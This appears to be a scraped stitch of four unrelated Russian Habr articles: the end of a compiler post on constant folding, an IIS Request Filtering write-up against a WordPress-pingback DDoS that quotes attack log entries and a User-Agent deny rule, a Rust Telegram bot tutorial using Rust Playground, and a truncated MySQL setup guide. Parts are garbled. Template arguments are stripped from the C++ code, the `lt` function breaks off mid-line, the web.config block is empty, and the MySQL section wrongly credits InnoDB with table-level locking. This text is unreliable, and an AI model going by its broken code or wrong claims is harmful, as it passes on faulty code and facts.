Операции над константами не обязательно свидетельствуют о небрежности программиста, поленившегося вычислить заранее известный результат: например, `pixels=1024*768;` легче читать и поддерживать, чем `pixels=786432;`
В этот раз, в каждой команде храним множества регистров, для которых известны значения, — вместе со значениями: в виде `std::map`
Как обычно, формулируем три правила вычисления множеств: * в команде `MOV R, X` значение R известно, и это *X*;
* в любой другой команде, задающей значение R, это значение неизвестно;
* в команде C известно значение R, если оно известно и одинаково *во всех* командах, из которых можно перейти в C (непосредственно или прыжком).
Вновь видим: направление прохода — вперёд (от значения регистра в предыдущей команде зависит её значение в последующей); операция в узлах — объединение неизвестных регистров.
Когда множества стабилизируются, сможем заменить каждую операцию, оба операнда которой известны, на `MOV`.
Те же самые данные позволят нам выполнить ещё одну оптимизацию — *constant propagation* (подстановка известного значения вместо ссылки на регистр). Эта оптимизация невозможна при выбранном нами формате п-кода, потому что в нём отсутствуют операции над регистром и константой; такие операции, однако, присутствуют во многих реальных процессорах, так что выполнить полноценную «подстановку констант» можно будет при генерации выполнимого кода. Сейчас же ограничимся заменой нулевого значения на R0.
Например, конструкция типа `if (1>2) { echo("unreachable"); }`, которая компилируется в
```
MOV R1, 1
MOV R2, 2
GT R3, R1, R2
JZ R3, label
ECHO "unreachable"
label:
```
превратится на этапе сворачивания констант в
```
MOV R1, 1
MOV R2, 2
MOV R3, 0
JZ R3, label
ECHO "unreachable"
label:
```
и уже реализованная нами в прошлый раз оптимизация «уничтожение неживого кода» удалит две первых команды `MOV`.
Если же мы заодно заменим нулевое значение на R0:
```
MOV R3, 0
JZ R0, label
ECHO "unreachable"
label:
```
то вместе с неживым кодом удалится и последний `MOV`, а «уничтожение недостижимого кода» удалит ещё и `ECHO`, превратив `JZ` в `NOP`.
Аналогично можно удалять из кода `JZ` с известным ненулевым значением. Второй реализованный «особый случай» — замена команд `ADD RX, (0), RY` на `ADD RX, RY, R0`, чтобы алгоритм чистки копирований распознал в этой команде копирование из регистра в регистр.
Ещё одна выгода от сворачивания констант — что теперь в наших командах могут использоваться отрицательные значения. Из-за того, что [в лексере](http://habrahabr.ru/blogs/programming/99397/) мы задали токен `NUM` регэкспом `[0-9]+`, строки типа "-123" интерпретировались как унарный минус и затем литерал 123; поэтому они компилировались в п-код наподобие
```
MOV R1, 123
SUB R2, R0, R1
```
Теперь же в п-коде будет честная команда `MOV R1, -123`.
### Реализация
`struct commandn` дополняется ещё парой полей:
`std::mapint> known; regset unknown;`
Основой оптимизации, как и в предыдущих случаях, является DFA:
`void constp() {
bool changed = false;
foreach(i, pcode) {
i->known.clear(); i->unknown.clear();
if (i->cmd.opcode==command::mov) { // rule 1
i->known[i->cmd.dest] = i->cmd.imm;
changed = true;
} else if(writesdest(i)) { // rule 2
i->unknown.insert(i->cmd.dest);
changed = true;
}
}
while(changed) {
changed = false;
foreach2(i, pcode, next) {
// rule 3 (next command)
if (hasnext(i))
changed |= propagate(i, next);
// rule 3 (jmp target)
if (i->cmd.opcode==command::jz)
changed |= propagate(i, i->tgt);
}
}
// заменим известные значения
foreach(i, pcode) {
i->known[0] = 0; // R0 известен всегда
if(has2src(i) && i->known.count(i->cmd.src1) && i->known.count(i->cmd.src2))
i->cmd = command(command::mov, i->cmd.dest, ops[i->cmd.opcode](i->known[i->cmd.src1],i->known[i->cmd.src2]));
// подставляем 0
if(has2src(i)) {
if(i->known.count(i->cmd.src1) && !i->known[i->cmd.src1])
i->cmd.src1 = 0;
if(i->known.count(i->cmd.src2) && !i->known[i->cmd.src2])
i->cmd.src2 = 0;
if(i->cmd.opcode==command::add && !i->cmd.src1) { // чтоб распознавалось как копирование
i->cmd.src1 = i->cmd.src2;
i->cmd.src2 = 0;
}
}
if(readsdest(i) && i->known.count(i->cmd.dest))
if(!i->known[i->cmd.dest])
i->cmd.dest = 0;
else // значение известно, но это не 0
if(i->cmd.opcode==command::jz) nopOut(i);
}
}`
Процедура `propagate()` реализует объединение множеств неизвестных регистров: регистр с несколькими известными значениями объявляется неизвестным.
`bool propagate(pcommandn from, pcommandn to) {
bool changed = false; // возвращает: изменились ли множества
// проверяем известные значения
foreach(i, from->known) {
regnum r = i->first;
if(to->known.count(r))
if((to->known[r]!=i->second) // другое, и не заданное правилом 1
&&!((to->cmd.opcode==command::mov) && (to->cmd.dest==r))) {
to->known.erase(r);
to->unknown.insert(r);
changed = true;
} else; // значение известное и верное
else if(!to->unknown.count(r)) { // по умолчанию, известно
to->known[r]=i->second;
changed = true;
}
}
// объединяем неизвестные
foreach(r, from->unknown)
if(!to->unknown.count(*r)) {
to->unknown.insert(*r);
to->known.erase(*r);
changed = true;
}
return changed;
}`
Последнее, что осталось, — собственно вычисление значения, когда операнды известны. Так же, как в выполнятеле джей-скрипа, заводим по функции на каждый опкод:
`int hlt(int src1, int src2) { assert(false); return 0; }
int add(int src1, int src2) { return src1+src2; }
int sub(int src1, int src2) { return src1-src2; }
...
int lt(int src1, int src2) { return src1
int (*ops[])(int, int) = {hlt, hlt, hlt, hlt, hlt, hlt, hlt, add, sub, mul, div, eq, ne, ge, le, gt, lt};`
Вставим вызов `constp();` перед `copies();` — и на этом с оптимизацией закончим.
В следующем посте — собираем из п-кода с расставленными физическими регистрами [настоящий исполнимый код](http://habrahabr.ru/blogs/programming/103402/) для x86/x64. | https://habr.com/ru/post/101946/ | null | ru | null |
# IIS Request filtering против ddos-атаки
### Лежим
Заказчик, чьи сайты я поддерживал ранее, обратился с тем, что сайт лежит и отдает 500 ошибку. У него стандартный сайт на ASP.NET WebForms, не скажу, что очень нагруженный, но бывали проблемы с производительностью базы данных (MS SQL Server на отдельном сервере). Недавно сервер БД поменяли и перенесли данные.
Этот сайт не основной бизнес заказчика, поэтому практически не обслуживался. У него не настроено никакого мониторинга и сбора метрик и вообще за ним особо не следят.
### Данные телеметрии
Какие аномалии бросились в глаза:
1. Процесс w3wp использовал более 50% CPU (обычно сильно меньше).
2. Количество потоков в этом процесс стабильно прирастало (сайт не успевал обслужить клиентов).
3. Диск на сервере БД использовался на 100% (Active Time).
4. Длина очереди обращений к диску с базами проекта была большой (обычно в районе нуля-единиц).
5. Оперативная память на сервер БД использована полностью.
6. Профайлер показал, что есть один горячий метод, который ходит в БД.
### Тюнинг СУБД
Первая моя гипотеза была связана с неполадками на стороне сервера БД из-за его переноса: забыли что-то настроить, не отрабатывает джоб по сбору статистики и перестроению индекса и т.п.
Память — сразу стало ясно, что при переносе СУБД забыли ограничить использование оперативной памяти на новом сервере — ограничиваем. По прошлому опыту этой конфигурации вполне хватало 24Гб (из общих 32).
Проверям джобы — все норм. Запускаем Tuning Advisor и достраиваем недостающие индексы (среди них был и индекс для горячего запроса из профайлера). Выхлоп близок к нулю: сайт лежит.
### IIS
Захожу в логи и сразу все становится понятно — DDoS:
[](https://3.bp.blogspot.com/-xcpZqK4ENpk/WD6l7R1YzPI/AAAAAAAAPu0/uQy8WRkPFnUO5eSys1uv-QItq9KgQlPFQCLcB/s1600/Screen%2BShot%2B2016-11-30%2Bat%2B11.54.48.png)
Первый раз такая ситуация, неясно кому понадобилось. Запросов стало на порядок больше, что же в логах?
В логах видим около 200 запросов в секунду (обычные пользователи генерят до десяти в минуту по метрике). Все запросы с разных IP, объединяет их только схожий user-agent:
| | | | |
| --- | --- | --- | --- |
| GET | 101.200.177.82 | WordPress/4.2.2; [www.renwenqifei.com;+verifying+pingback+from+37.1.211.155](http://www.renwenqifei.com;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 54.69.1.242 | WordPress/4.2.10; [54.69.1.242;+verifying+pingback+from+37.1.211.155](http://54.69.1.242;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 123.57.33.117 | WordPress/4.0; [www.phenomenon.net.cn;+verifying+pingback+from+37.1.211.155](http://www.phenomenon.net.cn;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 54.69.236.133 | WordPress/4.3.1;+http://www.the-call-button.com;+verifying+pingback+from+37.1.211.155 | 503 |
| GET | 52.19.227.86 | WordPress/4.3.6; [52.19.227.86;+verifying+pingback+from+37.1.211.155](http://52.19.227.86;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 52.27.233.237 | WordPress/4.1.13; [52.27.233.237;](http://52.27.233.237;) verifying+pingback+from+37.1.211.155 | 503 |
| GET | 202.244.241.54 | WordPress/3.5.1; [www.fm.geidai.ac.jp](http://www.fm.geidai.ac.jp) | 503 |
| GET | 52.34.12.105 | WordPress/4.3.6; [52.34.12.105;](http://52.34.12.105;) verifying+pingback+from+37.1.211.155 | 503 |
| GET | 128.199.195.155 | WordPress/4.3.6; [www.glamasia.com;+verifying+pingback+from+37.1.211.155](http://www.glamasia.com;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 61.194.65.94 | WordPress/4.2.10; [wpwewill.help;+verifying+pingback+from+37.1.211.155](http://wpwewill.help;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 23.226.237.2 | WordPress/4.3.1; [hypergridder.com;+verifying+pingback+from+37.1.211.155](http://hypergridder.com;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 104.239.228.203 | WordPress/4.2.5; [pjtpartners.com;+verifying+pingback+from+37.1.211.155](http://pjtpartners.com;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 104.239.168.88 | WordPress/4.2.10; [creatorinitiative.com;+verifying+pingback+from+37.1.211.155](http://creatorinitiative.com;+verifying+pingback+from+37.1.211.155) | 503 |
| GET | 166.78.66.195 | WordPress/3.6; [remote.wisys.com/website](http://remote.wisys.com/website) | 503 |
| GET | 212.34.236.214 | WordPress/3.5.1; [nuevavista.am](http://nuevavista.am) | 503 |
Это известный тип атаки: WordPress сайт с включенным Pingback (включен по умолчанию), может использоваться в DDOS-атаке на другие сайты. Более подробная [статья](https://habrahabr.ru/post/215543/) на Хабре.
Настраиваем фильтр запросов
===========================
Есть несколько уровней где можно фильтровать запросы. Первый — это файрвол. Грепаем ip — добавляем их в файрволл, по расписанию собираем вновь появившиеся. Плюсы — отличная скорость, нет мусорных запросов в логах. Минусы — надо писать скрипты и следить.
Второй уровень — сам IIS (из явных минусов — мусорные запросы попадают в логи). Третий уровень — написать модуль и использовать его. Это самый гибкий подход, но трудоемкий и имеет невысокую производительность.
Я остановился на втором уровне из соображений получить решение совершив минимум действий.
У IIS много возможностей по фильтрации запросов. В данном случае подходит **Request Filtering**. [Более подробно об установке и настройке.](https://www.iis.net/configreference/system.webserver/security/requestfiltering)
Выбираем сайт → Request Filtering → Rules → Add filtering rules
[](https://1.bp.blogspot.com/-yeyMucTAB7g/WD6yuDA5EZI/AAAAAAAAPvQ/jf0ZzYSiEWwaU9yaail3PjNLcvnwfD5eACLcB/s1600/Screen%2BShot%2B2016-11-30%2Bat%2B14.00.33.png)
И указываем, что мы хотим отфильтровать все запросы где в Header: User-Agent есть слово WordPress.
[](https://4.bp.blogspot.com/-OCUN6-UmLM4/WD7GnQeqxWI/AAAAAAAAPvg/GabrF-LI_Js-jbcjSkRhJGqLkxIH-SVZwCLcB/s1600/Screen%2BShot%2B2016-11-30%2Bat%2B15.29.04.png)
Или можно указать соответствующие настройки в файле web.config:
```
```
Сразу после применения этого фильтра сайт заработал. Все показатели вернулись к норме. Если бы я сразу проверил логи — на все ушло бы менее получаса.
### Что еще умеет IIS?
IIS — очень крутой и производительный сервер для веб-приложений. Помимо передачи запроса в управляемую среду он много что умеет делать и по производительности сильно обыгрывает managed-решения.
В разделе **Request Filtering** вы можете настроить еще много различных фильтров: по методам, сегментам урла, query-параметрам, расширению и т.д. Можно запретить в asp.net проекте специфичные для PHP query-параметры (попытка получить доступ к htaccess или файлу с паролями). Можно запретить злонамеренные запросы, например, содержащие sql-инъекции. Это делается не как защита от этих атак, а в целях экономии ресурса сервера: IIS самостоятельно откинет эти запросы и сделает это быстро с минимальными затратами памяти и процессорного времени.
Еще один механизм называется **IP Address and Domain Restrictions**. Этот механизм позволяет составлять белые и черные списки IP-адресов для ограничения доступа к сайту. Вы можете заблокировать злобного парсера или наоборот открыть доступ на тестовый сайт или админку только с определенных IP. Более подробно читать в [официальной документации](https://www.iis.net/configreference/system.webserver/security/ipsecurity).
И третий механизм, который может вам помочь противодействовать ддос-атакам и нежелательным парсерам — **Dynamic IP Address Restrictions.**
Не всегда мы можем следить за постоянно меняющимися ip-адресами злоумышленника. Но с помощью этого инструмента мы можем ограничить частоту запросов. Таким образом, IIS на аномально большое количество запросов с одного IP-адреса будет быстро отдавать 403 или 404. Будьте аккуратнее с поисковыми ботами. [Официальная документация](https://www.iis.net/downloads/microsoft/dynamic-ip-restrictions).
Выводы
======
Не отключайте логи, настраивайте мониторинг, который явно вас предупредит об аномалиях в показателях. Это можно сделать быстро и недорого, и сэкономит вам время при расследованиях инцидентов. Настройку мониторинга, а также административные и организационные меры противодействия оставим за рамками этой статьи. | https://habr.com/ru/post/316550/ | null | ru | null |
# Пишем Telegram-бота на Rust, который будет запускать код на… Rust?
Доброй ночи! Сегодня хотелось бы кратко рассказать о том, как написать Telegram-бота на Rust, который будет запускать код на Rust. У статьи нет цели произвести полное погружение в API telegram\_bot, Serde, Telegram или в нюансы разработки на Rust. Она скорее носит ознакомительный характер. Числа Пеано с помощью системы типов складывать не будем.
Создание бота в Telegram
========================
[Временная ссылка на бота, чтобы можно было посмотреть результат](https://web.telegram.org/#/im?p=@rustlanguage_bot)
Для начала создадим бота и получим HTTP API токен.
Заходим к [этому парню](https://web.telegram.org/#/im?p=@BotFather) и пишем следующее:
Инициируем создание нового бота: `/newbot`.
Ответ крёстного отца:
> Alright, a new bot. How are we going to call it? Please choose a name for your bot.
В ответе пишем имя бота, которого хотим создать: `rust`.
Ответ крёстного отца:
> Good. Now let's choose a username for your bot. It must end in `bot`. Like this, for example: TetrisBot or tetris\_bot.
Следуя указаниям, вводим ещё одно имя: `rustlanguage_bot`.
Ответ крёстного отца:
> Done! Congratulations on your new bot. You will find it at t.me/rustlanguage\_bot. You can now add a description, about section and profile picture for your bot, see /help for a list of commands. By the way, when you've finished creating your cool bot, ping our Bot Support if you want a better username for it. Just make sure the bot is fully operational before you do this. Use this token to access the HTTP. API: %TOKEN% For a description of the Bot API, see this page: <https://core.telegram.org/bots/api>
Отлично. Бот создан. `%TOKEN%` — это, собственно, и есть токен.
Rust Playground
===============
Теперь немного о том, как и где запускать код, который пользователь будет передавать боту в виде сообщения.
Есть такой сервис `Rust Playground`, который позволяет запускать простейший Rust код онлайн. Им и воспользуемся. Располагается он по данному адресу: <https://play.rust-lang.org/>
Перейдя по ссылке, введём простую hello-world программу:
```
fn main() {
println!("Hello world!");
}
```
Откроем вкладку `Network` из `DevTools`, чтобы посмотреть, что и в каком формате он шлёт для получения результатов компиляции:
Вроде бы всё прозрачно и понятно. Попробуем воспроизвести из консоли:
```
[loomaclin@localhost ~]$ curl -X POST -d '{"code":"fn main() {\n println!(\"Hello world!\");\n}","version":"stable","optimize":"0","test":false,"separate_output":true,"color":true,"backtrace":"0"}' https://play.rust-lang.org/evaluate.json
{"program":"Hello world!\n","rustc":"rustc 1.16.0 (30cf806ef 2017-03-10)\n"}
```
Отлично, поехали дальше.
Пишем бота
==========
Создаём проект:
```
cargo new rust_telegram_bot --bin
```
#### Добавим следующие зависимости в `Cargo.toml`:
```
[dependencies]
telegram-bot = { git = "https://github.com/White-Oak/telegram-bot.git" }
hyper = "0.10.8"
hyper-rustls = "0.3.2"
serde_json = "0.9.10"
serde = "0.9.14"
serde_derive = "0.9.14"
```
Кратко опишу, зачем они нужны:
* `Serde` предназначена для сериализации/десериализации данных в различных форматах. В данном случае нам необходима работа с JSON (serde\_json) и щепотка кодогенерации (serde\_derive);
* `Hyper` для работы с сетью будем использовать HTTP-клиент, который она предоставляет для взаимодействия с Rust Playground. Так как взаимодействие производится по протоколу HTTPS, ещё необходима батарейка в виде `hyper-rustls`;
* ну и самое главное, для взаимодействия с Telegram API будем использовать готовую библиотеку `telegram-bot`, но не конкретно её, а форк товарища @white\_oak, который подогнал её для работы с актуальной версией `Hyper`.
#### В `src/main.rs` подключим все необходимые библиотеки и модули:
```
extern crate telegram_bot;
extern crate hyper;
extern crate hyper_rustls;
extern crate serde_json;
extern crate serde;
#[macro_use]
extern crate serde_derive;
use serde_json::Value;
use telegram_bot::{Api, MessageType, ListeningMethod, ListeningAction};
use std::io::Read;
use hyper::client::Client;
use hyper::net::HttpsConnector;
use hyper_rustls::TlsClient;
```
Примечание: `#[macro_use]` используется для включения в область видимости текущей программы макросов из библиотеки, к которой был применён данный атрибут.
В данной строке импортируем модули из корня библиотеки для определения типа сообщения, метода "прослушки", структуры представляющей API Telegram:
```
use telegram_bot::{Api, MessageType, ListeningMethod, ListeningAction};
```
Опишем с помощью `enum` возможные виды ответов от сервера, а их в данном случае 2, когда программа была скомпилирована успешно, и когда произошла ошибка компиляции:
```
#[derive(Serialize, Deserialize, Debug)]
#[serde(untagged)]
pub enum ResponseType {
ProgramCompiled { program: String, rustc: String },
ProgramCompileError { rustc: String }
}
```
Заметили атрибут `#[serde(untagged)]`, который был применён к перечислению? Он говорит о том, что при (де)сериализации для вариантов перечисления не будет искаться какой-либо тэг, явно указывающий на то, каким из вариантов он является. Так как же `Serde` определит, какой из вариантов ответа на запрос от сервера мы получили? На самом деле, она будет пытаться десериализовывать в каждый из вариантов, пока не дойдёт до первого успешного результата. Более подробно об этом можно почитать в официальной документации: <https://serde.rs/enum-representations.html>.
Определим структуру для нашего запроса в Rust Playground:
```
#[derive(Serialize)]
pub struct PlaygroundRequest {
code: String,
version: String,
optimize: String,
test: bool,
separate_output: bool,
color: bool,
backtrace: String
}
```
Из пользовательского ввода в эту структуру пойдёт только поле `code`. Остальное захардкодим, ибо всегда так делаем :) (нет)
В главной функции программы `main` создадим инстанс Telegram API и заставим его печатать всё, что пришло боту в сообщении:
```
fn main() {
let api = Api::from_env("TOKEN").unwrap();
println!("getMe: {:?}", api.get_me());
let mut listener = api.listener(ListeningMethod::LongPoll(None));
let res = listener.listen(|u| if let Some(m) = u.message {
let name = m.from.first_name;
match m.msg {
MessageType::Text(t) => {
println!("<{}> {}", name, t);
}
_ => {}
}
});
}
```
Чтобы проверить работоспособность данного кода, запустите программу, не забыв передать в качестве переменной окружения реальный токен, полученный ранее:
```
TOKEN=%TOKEN% cargo run
```
Немного разберём, что мы написали выше.
```
let api = Api::from_env("TOKEN").unwrap();
println!("getMe: {:?}", api.get_me());
```
Здесь мы создаём инстанс структуры `Api`, импортированной из `telegram_bot`, далее создаём слушатель бота в режиме long-polling:
```
let mut listener = api.listener(ListeningMethod::LongPoll(None));
```
Под конец создаём цикл обработки сообщений при помощи функции `listen` и сопоставления по шаблону типа сообщения:
```
let res = listener.listen(|u| if let Some(m) = u.message {
let name = m.from.first_name;
match m.msg {
MessageType::Text(t) => {
println!("<{}> {}", name, t);
}
_ => {}
}
});
```
Условимся, что код мы будем передавать только в текстовом виде. Файлы и прочее исключим. Для этого, как вы могли заметить, все остальные варианты перечисления `MessageType` просто игнорируются.
Обрабатываем команду `/rust`, отправляя запрос на Rust Playground, и считываем ответ:
```
if t.starts_with("/rust ") {
let program = t.split("/rust ").collect();
let mut result = String::new();
let tls = hyper_rustls::TlsClient::new();
let connector = HttpsConnector::new(tls);
let client = Client::with_connector(connector);
let playground_request = serde_json::to_string(&PlaygroundRequest {
code: program,
version: String::from("stable"),
optimize: String::from("0"),
test: false,
separate_output: true,
color: false,
backtrace: String::from("0"),
})
.unwrap();
let mut response = client
.post("https://play.rust-lang.org/evaluate.json")
.body(&playground_request)
.send()
.unwrap();
response.read_to_string(&mut result);
println!("Result : {:?}", result);
}
```
Мы обрабатываем запрос только лишь в случае, если сообщение начинается с определённой команды (`/rust`):
```
if t.starts_with("/rust ") {
```
А так же вытаскиваем код программы, которую необходимо скомпилировать:
```
let program = t.split("/rust ").collect();
```
Функция `serde_json::to_string(&PlaygroundReques { ... })` сериализует нашу структуру запроса в строку. Остальная часть кода относится к инициализации HTTPS клиента, отправке и чтению запроса, об этом подробней можно прочесть здесь: <https://hyper.rs/hyper/v0.10.7/hyper/index.html>.
Обрабатываем пришедший ответ:
```
let result : ResponseType = serde_json::from_str(&result)
.unwrap_or(ResponseType::ProgramCompileError {
rustc: String::from("Ответ на запрос не удалось десериализовать") });
let mut result = match result {
ResponseType::ProgramCompiled { program, .. } => {
format!("Программа скомпилирована успешно: {}",
program)
}
ResponseType::ProgramCompileError { rustc, .. } => {
format!("Ошибка компиляции программы: {}",
rustc)
}
};
```
Функция `serde::from_str` десериализует пришедший ответ в один из вариантов нашего `enum`. В случае, если ответ не удалось десериализовать, для упрощения мы заворачиваем это в вариант ошибки компиляции с соответствующим текстом. Далее мы формируем наше результирующее сообщение, которое будет отослано пользователю, основываясь на том, какой из вариантов `enum` был представлен. Возможно, вы в первый раз видите при сопоставлении по шаблону конструкцию вида `{ program, .. }`, объясню — это игнорирование при деструктуризации полей структуры, которые нам не нужны в ходе обработки этого варианта.
Отправка результатов компиляции в чат:
```
if result.len() > 500 {
result.truncate(500);
}
try!(api.send_message(m.chat.id(), result, None, None, Some(m.message_id), None));
```
В конце мы проверяем длину сообщения, чтобы исключить результаты компиляции с большим количеством вывода, и обрезаем это дело. После производим отправку сообщения, указывая идентификатор чата, из которого пришел запрос на компиляцию, и передаём итоговый результат компиляции. Так же передаём id сообщения, на которое необходимо ответить. Остальные передаваемые параметры необязательны и отвечают за вывод превью, вид ответа и тому подобное.
Проверяем работоспособность
===========================
Вывод в консоль:
```
Finished dev [unoptimized + debuginfo] target(s) in 2.38 secs
Running `target/debug/rust_telegram_bot`
getMe: Ok(User { id: 334562900, first_name: "rust", last_name: None, username: Some("rustlanguage_bot") })
/rust abc
Result : "{\"rustc\":\"rustc 1.16.0 (30cf806ef 2017-03-10)\\nerror: expected one of `!` or `::`, found ``\\n --> :1:1\\n |\\n1 | abc\\n | ^^^\\n\\nerror: aborting due to previous error\\n\\n\"}"
/rust fn main() { println!("Hello habrahabr!"); }
Result : "{\"program\":\"Hello habrahabr!\\n\",\"rustc\":\"rustc 1.16.0 (30cf806ef 2017-03-10)\\n\"
}"
```
Заключение
==========
Думаю, на этом всё. Спасибо [WhiteOak](https://github.com/White-Oak) за рабочий форк `telegram_bot`.
Кстати, у него есть проект биндингов к QML из Rust: <https://github.com/White-Oak/qml-rust>. Возможно, кому-то это будет интересным.
Любая конструктивная критика приветствуется.
Репозиторий с полным кодом данного бота располагается [здесь](https://github.com/LooMaclin/rust_telegram_bot).
Чуть не забыл оставить ссылку на чат русскоговорящего сообщества Rust, где вам всегда помогут совладать с языком: <https://gitter.im/ruRust/general> | https://habr.com/ru/post/326830/ | null | ru | null |
# Разворачиваем MySQL: установка и настройка
MySQL на сегодняшний день является одной из наиболее распространенных в мире. Достаточно сказать, что по рейтингам 2021 года данная СУБД лишь немного уступала Oracle.
В серии из трех статей мы рассмотрим основные моменты связанные с редакциями MySQL, обсудим архитектуру, процесс установки и базовой настройки. Во второй статье мы займемся созданием репликации БД. И в третьей части мы поговорим о различных способах резервного копирования данных в БД.
Начнем с рассмотрения редакций СУБД MySQL.
#### Ванильная сборка
Классическая версия MySQL от Oracle это свободная реляционная система управления базами данных. На сегодняшний день разработку и поддержку MySQL осуществляет корпорация Oracle, получившая права на торговую марку вместе с поглощённой Sun Microsystems, которая ранее приобрела шведскую компанию MySQL AB. Такая несколько сложная «пищевая цепочка» не помешала данной БД получить широкое распространение. Далее, когда мы будем рассматривать практические примеры развертывания, будет использоваться именно классическая редакция MySQL.
#### MariaDB
СУБД MariaDB — ответвление MySQL, разрабатываемое сообществом под лицензией GNU GPL. Разработку и поддержку MariaDB осуществляет компания MariaDB Corporation Ab и фонд MariaDB Foundation. При этом СУБД MariaDB совместима с MySQL до версии 5.6.
#### Движки MySQL
База данных может работать с несколькими типами движков (engines). В таблице ниже приведены основные характеристики каждого из них.
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| **Name** | **Vendor** | **License** | [**Transactional**](https://en.wikipedia.org/wiki/Database_transaction#Transactional_databases) | **Under active development** | **MySQL versions** | **MariaDB versions** |
| [Archive](https://en.wikipedia.org/wiki/MySQL_Archive) | Oracle | GPL | No | Yes | 5.0 - present | 5.1 - present |
| [Aria](https://en.wikipedia.org/wiki/Aria_(storage_engine)) | [MariaDB](https://en.wikipedia.org/wiki/MariaDB) | GPL | No | Yes | None | 5.1 - present |
| [Berkeley DB](https://en.wikipedia.org/wiki/Berkeley_DB) | Oracle | [AGPLv3](https://en.wikipedia.org/wiki/Affero_General_Public_License) | Yes | No | ? - 5.0 | None |
| [BLACKHOLE](https://en.wikipedia.org/w/index.php?title=BLACKHOLE&action=edit&redlink=1) | Oracle | GPL | No | Yes | 5.0 - present | 5.1 - present |
| [CONNECT](https://en.wikipedia.org/w/index.php?title=CONNECT_(storage_engine)&action=edit&redlink=1) | [MariaDB](https://en.wikipedia.org/wiki/MariaDB) | GPL | No | Yes | None | 10.0 - present |
| [CSV](https://en.wikipedia.org/w/index.php?title=CSV_(storage_engine)&action=edit&redlink=1) | Oracle | GPL | No | Yes | 5.0 - present | 5.1 - present |
| [Falcon](https://en.wikipedia.org/wiki/Falcon_(storage_engine)) | Oracle | GPL | Yes | No | ? | None |
| [Federated](https://en.wikipedia.org/wiki/MySQL_Federated) | Oracle | GPL | ? | No | 5.0 - present | ? |
| [FederatedX](https://en.wikipedia.org/w/index.php?title=FederatedX&action=edit&redlink=1) | [MariaDB](https://en.wikipedia.org/wiki/MariaDB) | GPL | Yes | No | None | ? - present |
| [ColumnStore (formerly InfiniDB)](https://en.wikipedia.org/wiki/InfiniDB) | Calpont | GPL | Yes | Yes | None | 10.5.4 - present |
| [InnoDB](https://en.wikipedia.org/wiki/InnoDB) | Oracle | GPL | Yes | Yes | 3.23 - present | 5.1 - present |
| [MEMORY](https://en.wikipedia.org/wiki/MEMORY_(storage_engine)) | Oracle | GPL | No | Yes | 3.23 - present | 5.1 - present |
| Mroonga | Groonga Project | GPL | No | Yes | None | 10.0 - present |
| [MyISAM](https://en.wikipedia.org/wiki/MyISAM) | Oracle | GPL | No | No | 3.23 - present | 5.1 - present |
| [MyRocks](https://en.wikipedia.org/wiki/MyRocks) | Facebook | GPLv2 | Yes | Yes | None | 10.2 - present |
| [NDB](https://en.wikipedia.org/wiki/MySQL_Cluster) | Oracle | GPLv2 | Yes | Yes | ? | None |
| [OQGRAPH](https://en.wikipedia.org/w/index.php?title=OQGRAPH&action=edit&redlink=1) | Oracle | GPLv2 | No | No | None | 5.2 - present |
| [S3](https://en.wikipedia.org/w/index.php?title=S3_(storage_engine)&action=edit&redlink=1) | [MariaDB](https://en.wikipedia.org/wiki/MariaDB) | GPL | No | Yes | None | 10.5 - present |
| SEQUENCE | MariaDB | GPL | No | Yes | None | 10.0 - present |
| [Sphinx](https://en.wikipedia.org/wiki/Sphinx_(search_engine)#SphinxSE) | Sphinx Technologies Inc. | GPL | No | No | None | 5.2 - present |
| [SPIDER](https://en.wikipedia.org/w/index.php?title=SPIDER_(storage_engine)&action=edit&redlink=1) | Kentoku Shiba | GPL | Yes | Yes | None | 10.0 - present |
| [TempTable](https://en.wikipedia.org/w/index.php?title=TempTable&action=edit&redlink=1) | Oracle | GPL | No | Yes | 8.0 - present | None |
| [TokuDB](https://en.wikipedia.org/wiki/TokuDB) | Percona | Modified GPL | Yes | No | None | 5.5 - present |
| [XtraDB](https://en.wikipedia.org/wiki/XtraDB) | Percona | GPL | Yes | Yes | None | 5.1 - 10.1 |
В этой статье я не буду подробно рассматривать все представленные движки, вместо этого будут рассмотрены только основные. Для ознакомления с рекомендациями по использование остальных предлагаю обратиться к следующей статье - [Краткий обзор движков таблиц MySQL](https://habr.com/ru/post/64851/).
#### MyISAM
MyISAM это базовый тип хранилища MySQL. Однако, в нем отсутствуют блокировки на строки и нет транзакций. Как можно понять из названия, движок основывается на принципах ISAM и обладает в сравнении с ним рядом полезных дополнений. Так, он имеет возможности по сжатию данных, по созданию полнотекстовых индексов. Но при этом СУБД не является устойчивой к сбоям и не выполняет требования ACID.
Поддерживается с версий MySQL 3.x, до версий MySQL 5.5, являлась системой хранения по умолчанию.
*Немного теории:*
**ISAM** (***I****ndexed****S****equential****A****ccess****M****ethod* — *индексно-последовательный метод доступа) — способ хранения данных с возможностью быстрого доступа к ним, является наиболее популярным методом индексирования.*
***ACID (atomicity, consistency, isolation, durability)****— набор требований к транзакционной СУБД, обеспечивающий наиболее надёжную и предсказуемую её работу — атомарность, согласованность, изоляцию и устойчивость.*
***Атомарность*** *гарантирует, что никакая транзакция не будет зафиксирована в системе частично. Будут либо выполнены все её подоперации, либо не выполнено ни одной.*
***Согласованность*** *– транзакция, достигающая своего нормального завершения и тем самым фиксирующая свои результаты, сохраняет согласованность базы данных.*
***Изоляция*** *- во время выполнения транзакции параллельные транзакции не должны оказывать влияния на её результат.*
***Устойчивость*** *- независимо от проблем с питанием или сбоях в оборудовании изменения, сделанные успешно завершённой транзакцией, должны остаться сохранёнными после возвращения системы в работу.*
#### InnoDB
InnoDB механизм хранения общего назначения, который обеспечивает высокую надежность и высокую производительность. В MySQL 8.0 механизм хранения по умолчанию. Движок был разработан специально для больших таблиц и показывает наибольшую скорость при работе с БД основанных на дисках.
Преимуществами InnoDB является возможность блокировки на уровне таблиц (читаем, если нет блокировки на запись, пишем, если нет блокировок), поддержка восстановления по времени (binary log), репликаций и конкурентного INSERT.
#### Установка MySQL
Теперь перейдем непосредственно к установке СУБД. Процесс не должен вызвать особых сложностей:
`sudo apt update && sudo apt upgrade -y && sudo apt-get install -y mysql-server`
После установки необходимо выполнить харденинг, то есть указать настройки безопасности:
`sudo mysql_secure_installation`
• Удалить анонимных пользователей? (Нажмите y | Y для Yes, любую другую клавишу для No): y
